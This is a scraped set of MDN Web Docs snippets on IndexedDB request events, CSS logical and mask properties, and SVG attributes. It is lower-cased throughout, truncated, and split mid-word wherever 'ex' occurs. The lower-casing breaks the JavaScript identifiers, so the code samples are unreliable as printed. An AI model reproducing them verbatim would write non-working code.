exeddb.open("telemetry"); openrequest.onsuccess = (event) => { let db = event.target.result; let store = db.transaction("netlogs").objectstore("netlogs"); let today = new date(); let yesterday = new date(today); yesterday.setdate(today.getdate() - 1); let request = store.getkey(idbkeyrange(yesterday, today)); request.onsuccess = (event) => { let when = event.target.result; alert("the 1st activity in last 24 hours was occurred at " + when); }; }; specifications specification status comment ind
exed database api draftthe definition of 'getk...
... desktopmobilechromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetkeychrome full support 48edge full support ≤79firefox full support 51ie ?
IDBOpenDBRequest: upgradeneeded event - Web APIs
bubbles no cancelable no interface event event handler onupgradeneeded
examples this
example opens a database and handles the upgradeneeded event by making any necessary updates to the object store.
... // open the database const dbopenrequest = window.ind
exeddb.open('todolist', 4); dbopenrequest.addeventlistener('upgradeneeded', event => { const db = event.target.result; console.log(`upgrading to version ${db.version}`); // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createind
ex('hours', 'hours', { unique: false }); objectstore.createind
ex('minutes', 'minutes', { unique: false }); objectstore.createind
ex('day', 'day', { unique: false }); objectstore.createind
ex('month', 'month', { unique: false }); objectstore.createind
ex('year', 'year', { unique: false }); }); this is the same
example, but uses the onupgradeneeded event hand...
... // open the database const dbopenrequest = window.ind
exeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; console.log(`upgrading to version ${db.version}`); // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createind
ex('hours', 'hours', { unique: false }); objectstore.createind
ex('minutes', 'minutes', { unique: false }); objectstore.createind
ex('day', 'day', { unique: false }); objectstore.createind
ex('month', 'month', { unique: false }); objectstore.createind
ex('year', 'year', { unique: false }); }; ...
IDBRequest: success event - Web APIs
bubbles no cancelable no interface event event handler property onsuccess
examples this
example tries to open a database and listens for the success event using addeventlistener(): // open the database const openrequest = window.ind
exeddb.open('todolist', 4); openrequest.onupgradeneeded = (event) => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createind
ex('hours', 'hours', { unique: false }); objectstore.createind
ex('m...
...inutes', 'minutes', { unique: false }); objectstore.createind
ex('day', 'day', { unique: false }); objectstore.createind
ex('month', 'month', { unique: false }); objectstore.createind
ex('year', 'year', { unique: false }); }; openrequest.addeventlistener('success', (event) => { console.log('database opened successfully!'); }); the same
example, but using the onsuccess event handler property: // open the database const openrequest = window.ind
exeddb.open('todolist', 4); openrequest.onupgradeneeded = (event) => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectst...
...ore will contain objectstore.createind
ex('hours', 'hours', { unique: false }); objectstore.createind
ex('minutes', 'minutes', { unique: false }); objectstore.createind
ex('day', 'day', { unique: false }); objectstore.createind
ex('month', 'month', { unique: false }); objectstore.createind
ex('year', 'year', { unique: false }); }; openrequest.onsuccess = (event) => { console.log('database opened successfully!'); }; ...
IDBTransaction.objectStoreNames - Web APIs
specification specification status comment ind
exed database api 2.0the definition of 'objectstorenames' in that specification.
... recommendation ind
exed database api draftthe definition of 'objectstorenames' in that specification.
... desktopmobilechromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetobjectstorenameschrome full support 48edge full support ≤79firefox full support yesie ?
IDBTransaction: error event - Web APIs
bubbles yes cancelable no interface event event handler property onerror
examples this
example opens a database and tries to add a record, listening for the error event for the add() operation (this will occur if, for
example, a record with the given tasktitle already
exists): // open the database const dbopenrequest = window.ind
exeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will...
... contain objectstore.createind
ex('hours', 'hours', { unique: false }); objectstore.createind
ex('minutes', 'minutes', { unique: false }); objectstore.createind
ex('day', 'day', { unique: false }); objectstore.createind
ex('month', 'month', { unique: false }); objectstore.createind
ex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { const db = dbopenrequest.result; // open a read/write db transaction, ready for adding the data const transaction = db.transaction(['todolist'], 'readwrite'); transaction.addeventlistener('error', () => { console.log(`error adding new item: ${newitem.tasktitle}`); }); const objectstore = transaction.objectstore('todolist'); const newitem = { tasktitle: 'my task', hours: 10, minutes: 10, day: 10, month: 'janu...
...ary', year: 2020 }; const objectstorerequest = objectstore.add(newitem); }; the same
example, using the onerror property instead of addeventlistener(): // open the database const dbopenrequest = window.ind
exeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createind
ex('hours', 'hours', { unique: false }); objectstore.createind
ex('minutes', 'minutes', { unique: false }); objectstore.createind
ex('day', 'day', { unique: false }); objectstore.createind
ex('month', 'month', { unique: false }); objectstore.createind
ex('year', 'year',...
IDBVersionChangeEvent.version - Web APIs
desktopmobilechromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetversion deprecatednon-standardchrome full support 12edge full support ≤18firefox full support 16 full support ...
...
expect poor cross-browser support.non-standard.
...
expect poor cross-browser support.deprecated.
IIRFilterNode.getFrequencyResponse() - Web APIs
return value undefined
exceptions notsupportederror the three arrays provided are not all of the same length.
...
examples in the following
example we are using an iir filter on a media stream (for a complete full demo, see our stream-source-buffer demo live, or read its source.) as part of this demo, we get the frequency responses for this iir filter, for five sample frequencies.
...2array objects we need, one containing the input frequencies, and two to receive the output magnitude and phase values: var myfrequencyarray = new float32array(5); myfrequencyarray[0] = 1000; myfrequencyarray[1] = 2000; myfrequencyarray[2] = 3000; myfrequencyarray[3] = 4000; myfrequencyarray[4] = 5000; var magresponseoutput = new float32array(5); var phaseresponseoutput = new float32array(5); n
ext we create a <ul> element in our html to contain our results, and grab a reference to it in our javascript: <p>iir filter frequency response for: </p> <ul class="freq-response-output"> </ul> var freqresponseoutput = document.queryselector('.freq-response-output'); finally, after creating our filter, we use getfrequencyresponse() to generate the response data and put it in our arrays, then loop...
IdleDeadline - Web APIs
it offers a method, timeremaining(), which lets you determine how much longer the user agent estimates it will remain idle and a property, didtimeout, which lets you determine if your callback is
executing because its timeout duration
expired.
... properties idledeadline.didtimeout read only a boolean whose value is true if the callback is being
executed because the timeout specified when the idle callback was installed has
expired.
...
example see our complete
example in the article cooperative scheduling of background tasks api.
InputEvent() - Web APIs
inputeventinitoptional is a inputeventinit dictionary, having the following fields: inputtype: (optional) a string specifying the type of change for editible content such as, for
example, inserting, deleting, or formatting t
ext.
...this may be an empty string if the change doesn't insert t
ext (such as when deleting characters, for
example).
... datatransfer: (optional) a datatransfer object containing information about richt
ext or plaint
ext data being added to or removed from editible content.
inset-block-end - CSS: Cascading Style Sheets
the inset-block-end css property defines the logical block end offset of an element, which maps to a physical inset depending on the element's writing mode, directionality, and t
ext orientation.
... it corresponds to the top, right, bottom, or left property depending on the values defined for writing-mode, direction, and t
ext-orientation.
... formal definition initial valueautoapplies topositioned elementsinheritednopercentageslogical-height of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties
except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'>
examples setting block end offset html <div> <p class="
examplet
ext">
example t
ext</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .
examplet
ext { writing-mode: vertical-rl; position: relative; inset-block-end: 20px; background-color: #c8c800; } ...
inset-block-start - CSS: Cascading Style Sheets
the inset-block-start css property defines the logical block start offset of an element, which maps to a physical inset depending on the element's writing mode, directionality, and t
ext orientation.
... it corresponds to the top, right, bottom, or left property depending on the values defined for writing-mode, direction, and t
ext-orientation.
... formal definition initial valueautoapplies topositioned elementsinheritednopercentageslogical-height of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties
except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'>
examples setting block start offset html <div> <p class="
examplet
ext">
example t
ext</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .
examplet
ext { writing-mode: vertical-lr; position: relative; inset-block-start: 20px; background-color: #c8c800;...
inset-block - CSS: Cascading Style Sheets
the inset-block css property defines the logical block start and end offsets of an element, which maps to physical offsets depending on the element's writing mode, directionality, and t
ext orientation.
... it corresponds to the top and bottom, or right and left properties depending on the values defined for writing-mode, direction, and t
ext-orientation.
... formal definition initial valueautoapplies topositioned elementsinheritednopercentageslogical-height of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties
except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'>{1,2}
examples setting block start and end offsets html <div> <p class="
examplet
ext">
example t
ext</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .
examplet
ext { writing-mode: vertical-lr; position: relative; inset-block: 20px 50px; background-co...
inset-inline-end - CSS: Cascading Style Sheets
the inset-inline-end css property defines the logical inline end inset of an element, which maps to a physical inset depending on the element's writing mode, directionality, and t
ext orientation.
... it corresponds to the top, right, bottom, or left property depending on the values defined for writing-mode, direction, and t
ext-orientation.
... formal definition initial valueautoapplies topositioned elementsinheritednopercentageslogical-width of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties
except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'>
examples setting inline end offset html <div> <p class="
examplet
ext">
example t
ext</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .
examplet
ext { writing-mode: vertical-rl; position: relative; inset-inline-end: 20px; background-color: #c8c800; } ...
inset-inline-start - CSS: Cascading Style Sheets
the inset-inline-start css property defines the logical inline start inset of an element, which maps to a physical offset depending on the element's writing mode, directionality, and t
ext orientation.
... it corresponds to the top, right, bottom, or left property depending on the values defined for writing-mode, direction, and t
ext-orientation.
... formal definition initial valueautoapplies topositioned elementsinheritednopercentageslogical-width of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties
except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'>
examples setting inline start offset html <div> <p class="
examplet
ext">
example t
ext</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .
examplet
ext { writing-mode: vertical-lr; position: relative; inset-inline-start: 20px; background-color: #c8c80...
inset-inline - CSS: Cascading Style Sheets
the inset-inline css property defines the logical start and end offsets of an element in the inline direction, which maps to physical offsets depending on the element's writing mode, directionality, and t
ext orientation.
... it corresponds to the top and bottom, or right and left properties depending on the values defined for writing-mode, direction, and t
ext-orientation.
... formal definition initial valueautoapplies topositioned elementsinheritednopercentageslogical-width of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties
except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'>{1,2}
examples setting inline start and end offsets html <div> <p class="
examplet
ext">
example t
ext</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .
examplet
ext { writing-mode: vertical-lr; position: relative; inset-inline: 20px 50px; background-...
margin-block - CSS: Cascading Style Sheets
the margin-block css shorthand property defines the logical block start and end margins of an element, which maps to physical margins depending on the element's writing mode, directionality, and t
ext orientation.
... /* <length> values */ margin-block: 10px 20px; /* an absolute length */ margin-block: 1em 2em; /* relative to the t
ext size */ margin-block: 5% 2%; /* relative to the nearest block container's width */ margin-block: 10px; /* sets both start and end values */ /* keyword values */ margin-block: auto; /* global values */ margin-block: inherit; margin-block: initial; margin-block: unset; these values corresponds to the margin-top and margin-bottom, or margin-right, and margin-left property depending on the values defined for writing-mode, direction, and t
ext-orientation.
... formal definition initial value0applies tosame as margininheritednopercentagesdepends on layout modelcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typediscrete formal syntax <'margin-left'>{1,2}
examples setting block start and end margins html <div> <p class="
examplet
ext">
example t
ext</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .
examplet
ext { writing-mode: vertical-rl; margin-block: 20px 40px; background-color: #c8c800; } result specifications specification status comment css logical properties and valu...
margin-inline - CSS: Cascading Style Sheets
the margin-inline css shorthand property is a shorthand property that defines both the logical inline start and end margins of an element, which maps to physical margins depending on the element's writing mode, directionality, and t
ext orientation.
... /* <length> values */ margin-inline: 10px 20px; /* an absolute length */ margin-inline: 1em 2em; /* relative to the t
ext size */ margin-inline: 5% 2%; /* relative to the nearest block container's width */ margin-inline: 10px; /* sets both start and end values */ /* keyword values */ margin-inline: auto; /* global values */ margin-inline: inherit; margin-inline: initial; margin-inline: unset; this property corresponds to the margin-top and margin-bottom, or margin-right, and margin-left properties, depending on the values defined for writing-mode, direction, and t
ext-orientation.
... formal definition initial value0applies tosame as margininheritednopercentagesdepends on layout modelcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typediscrete formal syntax <'margin-left'>{1,2}
examples setting inline start and end margins html <div> <p class="
examplet
ext">
example t
ext</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .
examplet
ext { writing-mode: vertical-rl; margin-inline: 20px 40px; background-color: #c8c800; } result specifications specification status comment css logical properties and va...
mask-border-repeat - CSS: Cascading Style Sheets
extra space will be distributed in between tiles to achieve the proper fit.
... formal definition initial valuestretchapplies toall elements; in svg, it applies to container elements
excluding the defs element and all graphics elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax [ stretch | repeat | round | space ]{1,2}
examples basic usage this property doesn't appear to be supported anywhere yet.
... mask-border-repeat: round; chromium-based browsers support an outdated version of this property — mask-box-image-repeat — with a prefix: -webkit-mask-box-image-repeat: round; note: the mask-border page features a working
example (using the out-of-date prefixed border mask properties supported in chromium), so you can get an idea of the effect.
mask-border - CSS: Cascading Style Sheets
formal definition initial valueas each of the properties of the shorthand:mask-border-mode: alphamask-border-outset: 0mask-border-repeat: stretchmask-border-slice: 0mask-border-source: nonemask-border-width: autoapplies toall elements; in svg, it applies to container elements
excluding the defs element and all graphics elementsinheritednopercentagesas each of the properties of the shorthand:mask-border-slice: refer to size of the mask border imagemask-border-width: relative to width/height of the mask border image areacomputed valueas each of the properties of the shorthand:mask-border-mode: as specifiedmask-border-outset: as specified, but with relative lengths converte...
...ask-border-source: as specified, but with <url> values made absolutemask-border-width: as specified, but with relative lengths converted into absolute lengthsanimation typeas each of the properties of the shorthand:mask-border-mode: discretemask-border-outset: discretemask-border-repeat: discretemask-border-slice: discretemask-border-source: discretemask-border-width: discretecreates stacking cont
extyes formal syntax <'mask-border-source'> | <'mask-border-slice'> [ / <'mask-border-width'>?
...| <'mask-border-repeat'> | <'mask-border-mode'>
examples setting a bitmap-based mask border in this
example, we will mask an element's border with a diamond pattern.
mask-clip - CSS: Cascading Style Sheets
/* <geometry-box> values */ mask-clip: content-box; mask-clip: padding-box; mask-clip: border-box; mask-clip: margin-box; mask-clip: fill-box; mask-clip: stroke-box; mask-clip: view-box; /* keyword values */ mask-clip: no-clip; /* non-standard keyword values */ -webkit-mask-clip: border; -webkit-mask-clip: padding; -webkit-mask-clip: content; -webkit-mask-clip: t
ext; /* multiple values */ mask-clip: padding-box, no-clip; mask-clip: view-box, fill-box, border-box; /* global values */ mask-clip: inherit; mask-clip: initial; mask-clip: unset; syntax one or more of the keyword values listed below, separated by commas.
... t
ext this keyword clips the mask image to the t
ext of the element.
... formal definition initial valueborder-boxapplies toall elements; in svg, it applies to container elements
excluding the defs element and all graphics elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax [ <geometry-box> | no-clip ]#where <geometry-box> = <shape-box> | fill-box | stroke-box | view-boxwhere <shape-box> = <box> | margin-boxwhere <box> = border-box | padding-box | content-box
examples clipping a mask to the border box css #masked { width: 100px; height: 100px; background-color: #8cffa0; margin: 20px; border: 20px solid #8ca0ff; padding: 20px; mask-image: url(https://mdn.mozillademos.org/files/12668/mdn.svg); mask-size: 100% 100%; mask-clip: border-box; /* can be changed in the live sample */ } html <div id="masked"> </d...
mask-image - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toall elements; in svg, it applies to container elements
excluding the defs element and all graphics elementsinheritednocomputed valueas specified, but with <url> values made absoluteanimation typediscrete formal syntax <mask-reference>#where <mask-reference> = none | <image> | <mask-source>where <image> = <url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient><mask-source> = <url>where <image()> = image( <image-tags>?
...)<gradient> = <linear-gradient()> | <repeating-linear-gradient()> | <radial-gradient()> | <repeating-radial-gradient()> | <conic-gradient()>where <image-tags> = ltr | rtl<image-src> = <url> | <string><color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <h
ex-color> | <named-color> | currentcolor | <deprecated-system-color><image-set-option> = [ <image> | <string> ] <resolution><id-selector> = <hash-token><cf-mixing-image> = <percentage>?
...ge><hue> = <number> | <angle><linear-color-stop> = <color> <color-stop-length>?<linear-color-hint> = <length-percentage><length-percentage> = <length> | <percentage><angular-color-stop> = <color> && <color-stop-angle>?<angular-color-hint> = <angle-percentage>where <color-stop-length> = <length-percentage>{1,2}<color-stop-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage>
examples setting a mask image with a url html <div id="masked"></div> css #masked { width: 100px; height: 100px; background-color: #8cffa0; -webkit-mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg); mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg); } result specifications specification status comment css masking modul...
max-inline-size - CSS: Cascading Style Sheets
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
... formal definition initial value0applies tosame as width and heightinheritednopercentagesinline-size of containing blockcomputed valuesame as max-width and max-heightanimation typea length, percentage or calc(); formal syntax <'max-width'>
examples setting max inline size in pixels html <p class="
examplet
ext">
example t
ext</p> css .
examplet
ext { writing-mode: vertical-rl; background-color: yellow; block-size: 100%; max-inline-size: 200px; } result specifications specification status comment css logical properties and values level 1the definition of 'max-inline-size' in that specification.
min-block-size - CSS: Cascading Style Sheets
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
... formal definition initial value0applies tosame as width and heightinheritednopercentagesblock-size of containing blockcomputed valuesame as min-width and min-heightanimation typea length, percentage or calc(); formal syntax <'min-width'>
examples setting minimum block size for vertical t
ext html <p class="
examplet
ext">
example t
ext</p> css .
examplet
ext { writing-mode: vertical-rl; background-color: yellow; min-block-size: 200px; } result specifications specification status comment css logical properties and values level 1the definition of 'min-block-size' in that specification.
min-inline-size - CSS: Cascading Style Sheets
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
... formal definition initial value0applies tosame as width and heightinheritednopercentagesinline-size of containing blockcomputed valuesame as min-width and min-heightanimation typea length, percentage or calc(); formal syntax <'min-width'>
examples setting minimum inline size for vertical t
ext html <p class="
examplet
ext">
example t
ext</p> css .
examplet
ext { writing-mode: vertical-rl; background-color: yellow; block-size: 5%; min-inline-size: 200px; } result specifications specification status comment css logical properties and values level 1the definition of 'min-inline-size' in that speci...
fy - SVG: Scalable Vector Graphics
</radialgradient> <radialgradient id="gradient2" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.75" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> </defs> <circle cx="100" cy="100" r="100" fill="url(#gradient1)" /> <circle cx="100" cy="100" r="100" fill="url(#gradient2)" style="transform: translat
ex(240px);" /> </svg> usage notes value <length> default value coincides with the presentational value of cy for the element whether the value for cy was inherited or not.
... animatable none
example <svg viewbox="0 0 120 120" width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="red"/> <stop offset="100%" stop-color="blue"/> </radialgradient> </defs> <rect x="10" y="10" rx="15" ry="15" width="100" height="100" fill="url(#gradient)" stroke="black" stroke-width="2"/> <circle cx="60" cy="60" r="50" fill="transparent" stroke="white" stroke-width="2"/> <circle cx="35" cy="35" r="2" fill="white" stroke="white"/> <circle cx="60" cy="60" r="2" fill="white" stroke="white"/> <t
ext x="38" y="40" fill="white" font-family="sans-serif" font-size="10pt">(fx,fy)</t
ext> <t
ext x="63...
..." y="63" fill="white" font-family="sans-serif" font-size="10pt">(cx,cy)</t
ext> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'fy' in that specification.
in - SVG: Scalable Vector Graphics
sourcealpha has all of the same rules as sourcegraphic
except that only the alpha channel is used.
... backgroundalpha same as backgroundimage
except only the alpha channel is used.
...if no value is provided, the output will only be available for re-use as the implicit input into the n
ext filter primitive if that filter primitive provides no value for its in attribute.
lang - SVG: Scalable Vector Graphics
the lang attribute specifies the primary language used in contents and attributes containing t
ext content of particular elements.
...the glyph was meant to be used if the xml:lang attribute
exactly matched one of the languages given in the value of this parameter, or if the xml:lang attribute
exactly equaled a prefix of one of the languages given in the value of this parameter such that the first tag character following the prefix was "-".
... <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <t
ext lang="en-us">this is some english t
ext</t
ext> </svg> usage notes value <language-tag> default value none animatable no <language-tag> this value specifies the language used for the element.
mask - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has noticeable effects mostly on the following nineteen elements: <a>, <circle>, <clippath>, <ellipse>, <g>, <glyph>, <image>, <line>, <marker>, <mask>, <path>, <pattern>, <polygon>, <polyline>, <rect>, <svg>, <symbol>, <t
ext>, <use> usage notes value see the css property mask default value none animatable yes specifications specification status comment css masking module level 1the definition of 'mask' in that specification.
... candidate recommendation
extends its usage to html elements.
...
extends its syntax by making it a shorthand for the new mask-* properties defined in that specification.
method - SVG: Scalable Vector Graphics
the method attribute indicates the method by which t
ext should be rendered along the path of a <t
extpath> element.
... only one element is using this attribute: <t
extpath> t
extpath for <t
extpath>, method indicates the method by which t
ext should be rendered along the path.
...cursive fonts), the connections may not align properly when t
ext is rendered along the path.
orientation - SVG: Scalable Vector Graphics
the orientation attribute indicates that the given glyph is only to be used for a particular t
ext direction, i.e.
... only one element is using this attribute: <glyph> usage notes value h | v default value none (meaning glyph can be used for both t
ext directions) animatable yes h this value indicates that the glyph is only used for a horizontal t
ext direction.
... v this value indicates that the glyph is only used for a vertical t
ext direction.
overflow - SVG: Scalable Vector Graphics
the overflow attribute sets what to do when an element's content is too big to fit in its block formatting cont
ext.
... if the overflow property has the value hidden or scroll, a clip of the
exact size of the svg viewport is applied.
... as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <foreignobject>, <iframe>, <image>, <marker>, <pattern>, <symbol>, <svg>, and <t
ext> html, body, svg { height: 100%; } <svg viewbox="0 0 200 30" xmlns="http://www.w3.org/2000/svg" overflow="auto"> <t
ext y="20">this t
ext is wider than the svg, so there should be a scrollbar shown.</t
ext> </svg> usage notes value visible | hidden | scroll | auto default value visible animatable yes for a description of the values, please se...
points - SVG: Scalable Vector Graphics
--> </svg> polyline for <polyline>, points defines a list of points, each representing a vert
ex of the line to be drawn.
... value [ <number>+ ]# default value none animatable yes
example html,body,svg { height:100% } <svg viewbox="-10 -10 120 120" xmlns="http://www.w3.org/2000/svg"> <!-- polyline is an open shape --> <polyline stroke="black" fill="none" points="50,0 21,90 98,35 2,35 79,90"/> </svg> polygon for <polygon>, points defines a list of points, each representing a vert
ex of the shape to be drawn.
... value [ <number>+ ]# default value none animatable yes
example html,body,svg { height:100% } <svg viewbox="-10 -10 120 120" xmlns="http://www.w3.org/2000/svg"> <!-- polygon is an closed shape --> <polygon stroke="black" fill="none" points="50,0 21,90 98,35 2,35 79,90" /> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'points' in that specification.
side - SVG: Scalable Vector Graphics
the side attribute determines the side of a path the t
ext is placed on (relative to the path direction).
... only one element is using this attribute: <t
extpath> html, body, svg { height: 100%; } t
ext { font: 25px arial, helvelica, sans-serif; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <t
ext> <t
extpath href="#circle1" side="left">t
ext left from the path</t
extpath> </t
ext> <t
ext> <t
extpath href="#circle2" side="right">t
ext right from the path</t
extpath> </t
ext> <circle id="circle1" cx="100" cy="100" r="70" fill="transparent" stroke="silver"/> <circle id="circle2" cx="320" cy="100" r="70" fill="transparent" stroke="silver"/> </svg> usage notes value left | right default value left animatable yes left this value places the t
ext on the left side of the path (relative to the path direction).
... right this value places the t
ext on the right side of the path (relative to the path direction).
spreadMethod - SVG: Scalable Vector Graphics
two elements are using this attribute: <lineargradient> and <radialgradient> cont
ext notes value pad | reflect | repeat initial value pad animatable yes pad this value indicates that the final color of the gradient fills the shape beyond the gradient's edges.
...
examples of spreadmethod with linear gradients svg <svg width="220" height="150" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="padgradient" x1="33%" x2="67%"> <stop offset="0%" stop-color="fuchsia"/> <stop offset="100%" stop-color="orange"/> </lineargradient> <lineargradient id="reflectgradient" spreadmethod="reflect" ...
...
examples of spreadmethod with radial gradients svg <svg width="340" height="120" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="radialpadgradient" cx="75%" cy="25%" r="33%" fx="64%" fy="18%" fr="17%"> <stop offset="0%" stop-color="fuchsia"/> <stop offset="100%" stop-color="orange"/> </radialgradient> <radialgradient...
systemLanguage - SVG: Scalable Vector Graphics
35 elements are using this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <audio>, <canvas>, <circle>, <clippath>, <cursor>, <defs>, <discard>, <ellipse>, <foreignobject>, <g>, <iframe>, <image>, <line>, <mask>, <path>, <pattern>, <polygon>, <polyline>, <rect>, <set>, <svg>, <switch>, <t
ext>, <t
extpath>, <tref>, <tspan>, <unknown>, <use>, and <video> usage notes value <language-tags> default value none animatable no <language-tags> the value is a set of comma-separated tokens, each of which must be a language-tag value, as defined in bcp 47.
...for
example, content that is presented simultaneously in the original maori and english versions, would call for: <t
ext systemlanguage="mi, en"><!-- content goes here --></t
ext> however, just because multiple languages are present within the object on which the systemlanguage test attribute is placed, this does not mean that it is intended for multiple linguistic audiences.
... an
example would be a beginner's language primer, such as "a first lesson in latin," which is clearly intended to be used by an english-literate audience.
type - SVG: Scalable Vector Graphics
the type attribute is a generic attribute and it has different meaning based on the cont
ext in which it's used.
... usage cont
ext for the <animatetransform> elements categories none value translate | scale | rotate | skewx | skewy animatable no normative document svg 1.1 (2nd edition) for the <fecolormatrix> element categories none value matrix | saturate | huerotate | luminancetoalpha animatable yes normative document ...
...e> element categories none value fractalnoise | turbulence animatable yes normative document svg 1.1 (2nd edition) for the <style> and <script> elements categories none value <content-type> animatable no normative document svg 1.1 (2nd edition) : script svg 1.1 (2nd edition) : style
example elements the following elements can use the values attribute <animatetransform> <fecolormatrix> <fefunca> <fefuncb> <fefuncg> <fefuncr> <feturbulence> <script> <style> ...
xlink:arcrole - SVG: Scalable Vector Graphics
the xlink:arcrole attribute specifies a cont
extual role for the element and corresponds to the rdf primer notion of a property.
... this cont
extual role can differ from the meaning of the resource when taken outside the cont
ext of this particular arc.
... for
example, a resource might generically represent a "person," but in the cont
ext of a particular arc it might have the role of "mother" and in the cont
ext of a different arc it might have the role of "daughter." twentytwo elements are using this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <color-profile>, <cursor>, <feimage>, <filter>, <font-face-uri>, <glyphref>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <script>, <set>, <t
extpath>, <tref>, <use> usage notes value <iri> default value none animatable no <iri> this value specifies an iri reference that identifies some resource that describes the intended property.
xlink:title - SVG: Scalable Vector Graphics
it may be used, for
example, to make titles available to applications used by visually impaired users, or to create a table of links, or to present help t
ext that appears when a user lets a mouse pointer hover over a starting resource.
... these elements are using this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <color-profile>, <cursor>, <feimage>, <filter>, <font-face-uri>, <glyphref>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <script>, <set>, <t
extpath>, <tref>, and <use> usage cont
ext value <anything> default value none animatable no <anything> this value specifies the title used to describe the meaning of the link or resource.
... candidate recommendation deprecated the attribute and made it only apply to <a>, <image>, <lineargradient>, <pattern>, <radialgradient>, <script>, <t
extpath>, and <use> scalable vector graphics (svg) 1.1 (second edition)the definition of 'seed' in that specification.
xml:space - SVG: Scalable Vector Graphics
this attribute influences how browsers parse t
ext content and therefore changes the way the dom is built.
... html, body, svg { height: 100%; } <svg viewbox="0 0 140 50" xmlns="http://www.w3.org/2000/svg"> <t
ext y="20" xml:space="default">default spacing</t
ext> <t
ext y="40" xml:space="preserve">preserved spacing</t
ext> </svg> usage notes value default | preserve default value default animatable no default with this value set, whitespace characters will be processed in this order: all newline characters are removed.
... for
example, the string "a b" (three spaces between "a" and "b") separates "a" and "b" more than "a b" (one space between "a" and "b").
<circle> - SVG: Scalable Vector Graphics
global attributes core attributes most notably: id, tabind
ex styling attributes class, style conditional processing attributes most notably: required
extensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering...
